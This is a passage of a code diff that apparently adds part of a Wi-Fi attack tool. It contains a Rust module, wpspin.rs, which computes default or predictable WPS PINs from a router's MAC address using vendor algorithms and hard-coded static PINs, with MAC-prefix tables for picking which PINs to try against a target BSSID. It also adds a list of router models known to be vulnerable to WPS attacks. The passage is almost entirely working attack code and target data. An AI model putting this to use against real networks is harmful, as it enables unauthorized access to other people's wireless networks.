format!("{}{}", truncated, " ".repeat(target_width - final_w))
} else {
truncated
}
}
}

343
src/wpspin.rs Normal file
View file

@ -0,0 +1,343 @@
use crate::mac::NetworkAddress;
use std::collections::HashMap;
use std::io::{self, Write};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum AlgoMode {
Mac,
Empty,
Static,
}
#[derive(Debug, Clone)]
pub struct AlgoInfo {
pub id: &'static str,
pub name: &'static str,
pub mode: AlgoMode,
}
#[allow(dead_code)]
#[derive(Debug, Clone)]
pub struct PinItem {
pub id: String,
pub name: String,
pub pin: String,
}
pub struct WPSpin {
algos: HashMap<&'static str, AlgoInfo>,
suggestions: HashMap<&'static str, Vec<&'static str>>,
}
impl WPSpin {
pub fn new() -> Self {
let mut algos = HashMap::new();
let list = vec![
AlgoInfo { id: "pin24", name: "24-bit PIN", mode: AlgoMode::Mac },
AlgoInfo { id: "pin28", name: "28-bit PIN", mode: AlgoMode::Mac },
AlgoInfo { id: "pin32", name: "32-bit PIN", mode: AlgoMode::Mac },
AlgoInfo { id: "pinDLink", name: "D-Link PIN", mode: AlgoMode::Mac },
AlgoInfo { id: "pinDLink1", name: "D-Link PIN +1", mode: AlgoMode::Mac },
AlgoInfo { id: "pinASUS", name: "ASUS PIN", mode: AlgoMode::Mac },
AlgoInfo { id: "pinAirocon", name: "Airocon Realtek", mode: AlgoMode::Mac },
// Static / empty pin algos
AlgoInfo { id: "pinEmpty", name: "Empty PIN", mode: AlgoMode::Empty },
AlgoInfo { id: "pinCisco", name: "Cisco", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm1", name: "Broadcom 1", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm2", name: "Broadcom 2", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm3", name: "Broadcom 3", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm4", name: "Broadcom 4", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm5", name: "Broadcom 5", mode: AlgoMode::Static },
AlgoInfo { id: "pinBrcm6", name: "Broadcom 6", mode: AlgoMode::Static },
AlgoInfo { id: "pinAirc1", name: "Airocon 1", mode: AlgoMode::Static },
AlgoInfo { id: "pinAirc2", name: "Airocon 2", mode: AlgoMode::Static },
AlgoInfo { id: "pinDSL2740R", name: "DSL-2740R", mode: AlgoMode::Static },
AlgoInfo { id: "pinRealtek1", name: "Realtek 1", mode: AlgoMode::Static },
AlgoInfo { id: "pinRealtek2", name: "Realtek 2", mode: AlgoMode::Static },
AlgoInfo { id: "pinRealtek3", name: "Realtek 3", mode: AlgoMode::Static },
AlgoInfo { id: "pinUpvel", name: "Upvel", mode: AlgoMode::Static },
AlgoInfo { id: "pinUR814AC", name: "UR-814AC", mode: AlgoMode::Static },
AlgoInfo { id: "pinUR825AC", name: "UR-825AC", mode: AlgoMode::Static },
AlgoInfo { id: "pinOnlime", name: "Onlime", mode: AlgoMode::Static },
AlgoInfo { id: "pinEdimax", name: "Edimax", mode: AlgoMode::Static },
AlgoInfo { id: "pinThomson", name: "Thomson", mode: AlgoMode::Static },
AlgoInfo { id: "pinHG532x", name: "HG532x", mode: AlgoMode::Static },
AlgoInfo { id: "pinH108L", name: "H108L", mode: AlgoMode::Static },
AlgoInfo { id: "pinONO", name: "CBN ONO", mode: AlgoMode::Static },
];
for item in list {
algos.insert(item.id, item);
}
let mut suggestions: HashMap<&'static str, Vec<&'static str>> = HashMap::new();
suggestions.insert("pin24", vec![
"04BF6D", "0E5D4E", "107BEF", "14A9E3", "28285D", "2A285D", "32B2DC", "381766", "404A03", "4E5D4E",
"5067F0", "5CF4AB", "6A285D", "8E5D4E", "AA285D", "B0B2DC", "C86C87", "CC5D4E", "CE5D4E", "EA285D",
"E243F6", "EC43F6", "EE43F6", "F2B2DC", "FCF528", "FEF528", "4C9EFF", "0014D1", "D8EB97", "1C7EE5",
"84C9B2", "FC7516", "14D64D", "9094E4", "BCF685", "C4A81D", "00664B", "087A4C", "14B968", "2008ED",
"346BD3", "4CEDDE", "786A89", "88E3AB", "D46E5C", "E8CD2D", "EC233D", "ECCB30", "F49FF3", "20CF30",
"90E6BA", "E0CB4E", "D4BF7F4", "F8C091", "001CDF", "002275", "08863B", "00B00C", "081075", "C83A35",
"0022F7", "001F1F", "00265B", "68B6CF", "788DF7", "BC1401", "202BC1", "308730", "5C4CA9", "62233D",
"623CE4", "623DFF", "6253D4", "62559C", "626BD3", "627D5E", "6296BF", "62A8E4", "62B686", "62C06F",
"62C61F", "62C714", "62CBA8", "62CDBE", "62E87B", "6416F0", "6A1D67", "6A233D", "6A3DFF", "6A53D4",
"6A559C", "6A6BD3", "6A96BF", "6A7D5E", "6AA8E4", "6AC06F", "6AC61F", "6AC714", "6ACBA8", "6ACDBE",
"6AD15E", "6AD167", "721D67", "72233D", "723CE4", "723DFF", "7253D4", "72559C", "726BD3", "727D5E",
"7296BF", "72A8E4", "72C06F", "72C61F", "72C714", "72CBA8", "72CDBE", "72D15E", "72E87B", "0026CE",
"9897D1", "E04136", "B246FC", "E24136", "00E020", "5CA39D", "D86CE9", "DC7144", "801F02", "E47CF9",
"000CF6", "00A026", "A0F3C1", "647002", "B0487A", "F81A67", "F8D111", "34BA9A", "B4944E",
]);
suggestions.insert("pin28", vec!["200BC7", "4846FB", "D46AA8", "F84ABF"]);
suggestions.insert("pin32", vec![
"000726", "D8FEE3", "FC8B97", "1062EB", "1C5F2B", "48EE0C", "802689", "908D78", "E8CC18", "2CAB25",
"10BF48", "14DAE9", "3085A9", "50465D", "5404A6", "C86000", "F46D04", "3085A9", "801F02",
]);
suggestions.insert("pinDLink", vec![
"14D64D", "1C7EE5", "28107B", "84C9B2", "A0AB1B", "B8A386", "C0A0BB", "CCB255", "FC7516", "0014D1", "D8EB97",
]);
suggestions.insert("pinDLink1", vec![
"0018E7", "00195B", "001CF0", "001E58", "002191", "0022B0", "002401", "00265A", "14D64D", "1C7EE5",
"340804", "5CD998", "84C9B2", "B8A386", "C8BE19", "C8D3A3", "CCB255", "0014D1",
]);
suggestions.insert("pinASUS", vec![
"049226", "04D9F5", "08606E", "0862669", "107B44", "10BF48", "10C37B", "14DDA9", "1C872C", "1CB72C",
"2C56DC", "2CFDA1", "305A3A", "382C4A", "38D547", "40167E", "50465D", "54A050", "6045CB", "60A44C",
"704D7B", "74D02B", "7824AF", "88D7F6", "9C5C8E", "AC220B", "AC9E17", "B06EBF", "BCEE7B", "C860007",
"D017C2", "D850E6", "E03F49", "F0795978", "F832E4", "00072624", "0008A1D3", "00177C", "001EA6", "00304FB",
"00E04C0", "048D38", "081077", "081078", "081079", "083E5D", "10FEED3C", "181E78", "1C4419", "2420C7",
"247F20", "2CAB25", "3085A98C", "3C1E04", "40F201", "44E9DD", "48EE0C", "5464D9", "54B80A", "587BE906",
"60D1AA21", "64517E", "64D954", "6C198F", "6C7220", "6CFDB9", "78D99FD", "7C2664", "803F5DF6", "84A423",
"88A6C6", "8C10D4", "8C882B00", "904D4A", "907282", "90F65290", "94FBB2", "A01B29", "A0F3C1E", "A8F7E00",
"ACA213", "B85510", "B8EE0E", "BC3400", "BC9680", "C891F9", "D00ED90", "D084B0", "D8FEE3", "E4BEED",
"E894F6F6", "EC1A5971", "EC4C4D", "F42853", "F43E61", "F46BEF", "F8AB05", "FC8B97", "7062B8", "78542E",
"C0A0BB8C", "C412F5", "C4A81D", "E8CC18", "EC2280", "F8E903F4",
]);
suggestions.insert("pinAirocon", vec![
"0007262F", "000B2B4A", "000EF4E7", "001333B", "00177C", "001AEF", "00E04BB3", "02101801", "0810734",
"08107710", "1013EE0", "2CAB25C7", "788C54", "803F5DF6", "94FBB2", "BC9680", "F43E61", "FC8B97",
]);
suggestions.insert("pinEmpty", vec![
"E46F13", "EC2280", "58D56E", "1062EB", "10BEF5", "1C5F2B", "802689", "A0AB1B", "74DADA", "9CD643",
"68A0F6", "0C96BF", "20F3A3", "ACE215", "C8D15E", "000E8F", "D42122", "3C9872", "788102", "7894B4",
"D460E3", "E06066", "004A77", "2C957F", "64136C", "74A78E", "88D274", "702E22", "74B57E", "789682",
"7C3953", "8C68C8", "D476EA", "344DEA", "38D82F", "54BE53", "709F2D", "94A7B7", "981333", "CAA366", "D0608C",
]);
suggestions.insert("pinCisco", vec!["001A2B", "00248C", "002618", "344DEB", "7071BC", "E06995", "E0CB4E", "7054F5"]);
suggestions.insert("pinBrcm1", vec!["ACF1DF", "BCF685", "C8D3A3", "988B5D", "001AA9", "14144B", "EC6264"]);
suggestions.insert("pinBrcm2", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19"]);
suggestions.insert("pinBrcm3", vec!["14D64D", "1C7EE5", "28107B", "B8A386", "BCF685", "C8BE19", "7C034C"]);
suggestions.insert("pinBrcm4", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
suggestions.insert("pinBrcm5", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
suggestions.insert("pinBrcm6", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
suggestions.insert("pinAirc1", vec!["181E78", "40F201", "44E9DD", "D084B0"]);
suggestions.insert("pinAirc2", vec!["84A423", "8C10D4", "88A6C6"]);
suggestions.insert("pinDSL2740R", vec!["00265A", "1CBDB9", "340804", "5CD998", "84C9B2", "FC7516"]);
suggestions.insert("pinRealtek1", vec!["0014D1", "000C42", "000EE8"]);
suggestions.insert("pinRealtek2", vec!["007263", "E4BEED"]);
suggestions.insert("pinRealtek3", vec!["08C6B3"]);
suggestions.insert("pinUpvel", vec!["784476", "D4BF7F0", "F8C091"]);
suggestions.insert("pinUR814AC", vec!["D4BF7F60"]);
suggestions.insert("pinUR825AC", vec!["D4BF7F5"]);
suggestions.insert("pinOnlime", vec!["D4BF7F", "F8C091", "144D67", "784476", "0014D1"]);
suggestions.insert("pinEdimax", vec!["801F02", "00E04C"]);
suggestions.insert("pinThomson", vec!["002624", "4432C8", "88F7C7", "CC03FA"]);
suggestions.insert("pinHG532x", vec!["00664B", "086361", "087A4C", "0C96BF", "14B968", "2008ED", "2469A5", "346BD3", "786A89", "88E3AB", "9CC172", "ACE215", "D07AB5", "CCA223", "E8CD2D", "F80113", "F83DFF"]);
suggestions.insert("pinH108L", vec!["4C09B4", "4CAC0A", "84742A4", "9CD24B", "B075D5", "C864C7", "DC028E", "FCC897"]);
suggestions.insert("pinONO", vec!["5C353B", "DC537C"]);
Self { algos, suggestions }
}
pub fn checksum(mut pin: u32) -> u32 {
let mut accum = 0;
while pin > 0 {
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
(10 - (accum % 10)) % 10
}
pub fn generate(&self, algo_id: &str, mac: &NetworkAddress) -> Result<String, String> {
let _algo = self.algos.get(algo_id).ok_or("Invalid WPS pin algorithm")?;
if algo_id == "pinEmpty" {
return Ok(String::new());
}
let raw_pin: u64 = match algo_id {
"pin24" => mac.integer() & 0xFFFFFF,
"pin28" => mac.integer() & 0xFFFFFFF,
"pin32" => mac.integer() % 0x100000000,
"pinDLink" => self.pin_dlink(mac),
"pinDLink1" => {
let mut m = mac.clone();
m.set_integer(m.integer() + 1);
self.pin_dlink(&m)
}
"pinASUS" => self.pin_asus(mac),
"pinAirocon" => self.pin_airocon(mac),
"pinCisco" => 1234567,
"pinBrcm1" => 2017252,
"pinBrcm2" => 4626484,
"pinBrcm3" => 7622990,
"pinBrcm4" => 6232714,
"pinBrcm5" => 1086411,
"pinBrcm6" => 3195719,
"pinAirc1" => 3043203,
"pinAirc2" => 7141225,
"pinDSL2740R" => 6817554,
"pinRealtek1" => 9566146,
"pinRealtek2" => 9571911,
"pinRealtek3" => 4856371,
"pinUpvel" => 2085483,
"pinUR814AC" => 4397768,
"pinUR825AC" => 529417,
"pinOnlime" => 9995604,
"pinEdimax" => 3561153,
"pinThomson" => 6795814,
"pinHG532x" => 3425928,
"pinH108L" => 9422988,
"pinONO" => 9575521,
_ => return Err("Unknown WPS pin algorithm".to_string()),
};
let pin7 = (raw_pin % 10_000_000) as u32;
let csum = Self::checksum(pin7);
Ok(format!("{:07}{}", pin7, csum))
}
fn pin_dlink(&self, mac: &NetworkAddress) -> u64 {
let nic = mac.integer() & 0xFFFFFF;
let mut pin = nic ^ 0x55AA55;
pin ^= ((pin & 0xF) << 4)
+ ((pin & 0xF) << 8)
+ ((pin & 0xF) << 12)
+ ((pin & 0xF) << 16)
+ ((pin & 0xF) << 20);
pin %= 10_000_000;
if pin < 1_000_000 {
pin += ((pin % 9) * 1_000_000) + 1_000_000;
}
pin
}
fn pin_asus(&self, mac: &NetworkAddress) -> u64 {
let mac_str = mac.string();
let bytes: Vec<u32> = mac_str
.split(':')
.map(|s| u32::from_str_radix(s, 16).unwrap_or(0))
.collect();
if bytes.len() < 6 {
return 0;
}
let sum_b15 = bytes[1] + bytes[2] + bytes[3] + bytes[4] + bytes[5];
let mut pin_str = String::new();
for i in 0..7 {
let denom = 10 - ((i as u32 + sum_b15) % 7);
let digit = (bytes[i % 6] + bytes[5]) % denom;
pin_str.push_str(&digit.to_string());
}
pin_str.parse::<u64>().unwrap_or(0)
}
fn pin_airocon(&self, mac: &NetworkAddress) -> u64 {
let mac_str = mac.string();
let b: Vec<u64> = mac_str
.split(':')
.map(|s| u64::from_str_radix(s, 16).unwrap_or(0))
.collect();
if b.len() < 6 {
return 0;
}
((b[0] + b[1]) % 10)
+ (((b[5] + b[0]) % 10) * 10)
+ (((b[4] + b[5]) % 10) * 100)
+ (((b[3] + b[4]) % 10) * 1000)
+ (((b[2] + b[3]) % 10) * 10000)
+ (((b[1] + b[2]) % 10) * 100000)
+ (((b[0] + b[1]) % 10) * 1000000)
}
fn suggest_algos(&self, mac: &str) -> Vec<&'static str> {
let clean_mac = mac.replace([':', '-'], "").to_uppercase();
let mut res = Vec::new();
// Preserving insertion order of algos
let algo_ids = vec![
"pin24", "pin28", "pin32", "pinDLink", "pinDLink1", "pinASUS", "pinAirocon", "pinEmpty",
"pinCisco", "pinBrcm1", "pinBrcm2", "pinBrcm3", "pinBrcm4", "pinBrcm5", "pinBrcm6",
"pinAirc1", "pinAirc2", "pinDSL2740R", "pinRealtek1", "pinRealtek2", "pinRealtek3",
"pinUpvel", "pinUR814AC", "pinUR825AC", "pinOnlime", "pinEdimax", "pinThomson",
"pinHG532x", "pinH108L", "pinONO",
];
for algo_id in algo_ids {
if let Some(masks) = self.suggestions.get(algo_id) {
if masks.iter().any(|mask| clean_mac.starts_with(mask)) {
res.push(algo_id);
}
}
}
res
}
pub fn get_suggested(&self, mac_str: &str) -> Vec<PinItem> {
let Ok(mac) = NetworkAddress::from_str(mac_str) else {
return Vec::new();
};
let algos = self.suggest_algos(mac_str);
let mut res = Vec::new();
for id in algos {
if let Some(algo) = self.algos.get(id) {
let name = if algo.mode == AlgoMode::Static {
format!("Static PIN — {}", algo.name)
} else {
algo.name.to_string()
};
if let Ok(pin) = self.generate(id, &mac) {
res.push(PinItem {
id: id.to_string(),
name,
pin,
});
}
}
}
res
}
pub fn get_likely(&self, mac_str: &str) -> Option<String> {
let list = self.get_suggested(mac_str);
list.first().map(|item| item.pin.clone())
}
pub fn prompt_wpspin(&self, bssid: &str) -> Option<String> {
let pins = self.get_suggested(bssid);
if pins.len() > 1 {
println!("PINs generated for {}:", bssid);
println!("{:<3} {:<10} {:<}", "#", "PIN", "Name");
for (i, pin_item) in pins.iter().enumerate() {
let number = format!("{})", i + 1);
println!("{:<3} {:<10} {:<}", number, pin_item.pin, pin_item.name);
}
loop {
print!("Select the PIN: ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_err() {
break None;
}
if let Ok(num) = input.trim().parse::<usize>() {
if num >= 1 && num <= pins.len() {
return Some(pins[num - 1].pin.clone());
}
}
println!("Invalid number");
}
} else if pins.len() == 1 {
println!("[i] The only probable PIN is selected: {}", pins[0].name);
Some(pins[0].pin.clone())
} else {
None
}
}
}

164
vulnwsc.txt Normal file
View file

@ -0,0 +1,164 @@
ADSL Router EV-2006-07-27
ADSL RT2860
AIR3G WSC Wireless Access Point AIR3G WSC Device
AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP
Archer_A9 1.0
ArcherC20i 1.0
Archer A2 5.0
Archer A5 4.0
Archer C2 1.0
Archer C2 3.0
Archer C5 4.0
Archer C6 3.20
Archer C6U 1.0.0
Archer C20 1.0
Archer C20 4.0
Archer C20 5.0
Archer C50 1.0
Archer C50 3.0
Archer C50 4.0
Archer C50 5.0
Archer C50 6.0
Archer MR200 1.0
Archer MR200 4.0
Archer MR400 4.2
Archer MR200 5.0
Archer VR300 1.20
Archer VR400 3.0
Archer VR2100 1.0
B-LINK 123456
Belkin AP EV-2012-09-01
DAP-1360 DAP-1360
DIR-635 B3
DIR-819 v1.0.1
DIR-842 DIR-842
DWR-921C3 WBR-0001
D-Link N Router GO-RT-N150
D-Link Router DIR-605L
D-Link Router DIR-615H1
D-Link Router DIR-655
D-Link Router DIR-809
D-Link Router GO-RT-N150
Edimax Edimax
EC120-F5 1.0
EC220-G5 2.0
EV-2009-02-06
Enhanced Wireless Router F6D4230-4 v1
GPON ONT GPON ONT
GN256VH GN256VH
Home Internet Center KEENETIC series
Home Internet Center Keenetic series
Huawei Wireless Access Point RT2860
JWNR2000v2(Wireless AP) JWNR2000v2
Keenetic Keenetic series
Linksys Wireless Access Point EA7500
Linksys Wireless Router WRT110
NBG-419N NBG-419N
Netgear AP EV-2012-08-04
NETGEAR Wireless Access Point NETGEAR
NETGEAR Wireless Access Point R6220
NETGEAR Wireless Access Point R6260
N/A EV-2010-09-20
Ralink Wireless Access Point RT2860
Ralink Wireless Access Point WR-AC1210
RTL8196E
RTL8xxx EV-2009-02-06
RTL8xxx EV-2010-09-20
RTL8xxx RTK_ECOS
RT-G32 1234
Sitecom Wireless Router 300N X2 300N
Smart Router R3 RT2860
Tenda 123456
Timo RA300R4 Timo RA300R4
TD-W8151N RT2860
TD-W8901N RT2860
TD-W8951ND RT2860
TD-W9960 1.0
TD-W9960 1.20
TD-W9960v 1.0
TD-W8968 2.0
TEW-731BR TEW-731BR
TL-MR100 1.0
TL-MR3020 3.0
TL-MR3420 5.0
TL-MR6400 3.0
TL-MR6400 4.0
TL-WA855RE 4.0
TL-WR840N 4.0
TL-WR840N 5.0
TL-WR840N 6.0
TL-WR841N 13.0
TL-WR841N 14.0
TL-WR841HP 5.0
TL-WR842N 5.0
TL-WR845N 3.0
TL-WR845N 4.0
TL-WR850N 1.0
TL-WR850N 2.0
TL-WR850N 3.0
TL-WR1042N EV-2010-09-20
Trendnet router TEW-625br
Trendnet router TEW-651br
VN020-F3 1.0
VMG3312-T20A RT2860
VMG8623-T50A RT2860
WAP300N WAP300N
WAP3205 WAP3205
Wi-Fi Protected Setup Router RT-AC1200G+
Wi-Fi Protected Setup Router RT-AX55
Wi-Fi Protected Setup Router RT-N10U
Wi-Fi Protected Setup Router RT-N12
Wi-Fi Protected Setup Router RT-N12D1
Wi-Fi Protected Setup Router RT-N12VP
Wireless Access Point .
Wireless Router 123456
Wireless Router RTL8xxx EV-2009-02-06
Wireless Router Wireless Router
Wireless WPS Router <#ZVMODELVZ#>
Wireless WPS Router RT-N10E
Wireless WPS Router RT-N10LX
Wireless WPS Router RT-N12E
Wireless WPS Router RT-N12LX
WN3000RP V3
WN-200R WN-200R
WPS Router (5G) RT-N65U
WPS Router DSL-AC51
WPS Router DSL-AC52U
WPS Router DSL-AC55U
WPS Router DSL-N14U-B1
WPS Router DSL-N16
WPS Router DSL-N17U
WPS Router RT-AC750
WPS Router RT-AC1200
WPS Router RT-AC1200_V2
WPS Router RT-AC1750
WPS Router RT-AC750L
WPS Router RT-AC1750U
WPS Router RT-AC51
WPS Router RT-AC51U
WPS Router RT-AC52U
WPS Router RT-AC52U_B1
WPS Router RT-AC53
WPS Router RT-AC57U
WPS Router RT-AC65P
WPS Router RT-AC85P
WPS Router RT-N11P
WPS Router RT-N12E
WPS Router RT-N12E_B1
WPS Router RT-N12 VP
WPS Router RT-N12+
WPS Router RT-N14U
WPS Router RT-N56U
WPS Router RT-N56UB1
WPS Router RT-N65U
WPS Router RT-N300
WR5570 2011-05-13
XC220-G3v 1.0
ZyXEL NBG-416N AP Router
ZyXEL NBG-416N AP Router NBG-416N
ZyXEL NBG-418N AP Router
ZyXEL NBG-418N AP Router NBG-418N
ZyXEL Wireless AP Router NBG-417N
Modem/Router EV-2010-09-20
RB06 RT2860
RB03 RT2860